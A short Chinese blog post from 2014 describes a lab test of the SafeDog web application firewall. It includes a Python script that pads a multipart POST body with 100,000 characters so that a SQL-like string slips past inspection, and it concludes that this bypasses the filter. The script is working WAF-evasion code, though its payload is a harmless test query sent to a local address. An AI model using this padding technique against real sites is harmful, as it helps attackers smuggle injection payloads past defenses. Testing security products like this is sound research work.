时间:2014-12-21 作者:admin 分类: 技术交流
最近在做特征的时候发现IPS的检测中往往会有一个最大检测长度,譬如IPS最大检测长度可能于数据包的个数或则数据流的长度有关。于是乎就想着做了个测试,测试安全狗的检测是否也会有长度的限制,于是乎就有了此篇帖子。
测试步骤:
1:使用wamp搭建一个web环境,并且安装最新版本的安全狗,3.1.0.9833.
2:下面就开始测试了,我使用python书写一个post提交,post提交的内容包括select 1 from table;
3:编写code:
import urllib2 url = "http://192.168.4.70/3.php" header = { 'User-Agent' : 'letmetest', 'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9' } def getdata(m): return "1"*m def postdata(n): data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' data += 'Content-Disposition: form-data; name="file"\r\n\r\n' data += '%s\r\n' % "0"*n data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' data += 'Content-Disposition: form-data; name="submit"\r\n\r\n' data += 'select 1 from table\r\n' data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n' return data request = urllib2.Request(url,postdata(100000),header) response = urllib2.urlopen(request).read() print response
4:测试结果
注意postdata中的内容,我自己去改变它的长度,譬如我输入长度为100000的时候,返回的结果如下图:
可以看到显示的内容为web服务器的内容。
当我将postdata的内容改为长度1000的时候,结果如下:
这样可以看到内容被安全狗阻拦了。
5:结论
看来安全狗貌似防范的内容受到长度的控制,用这种post的方法可以bypass。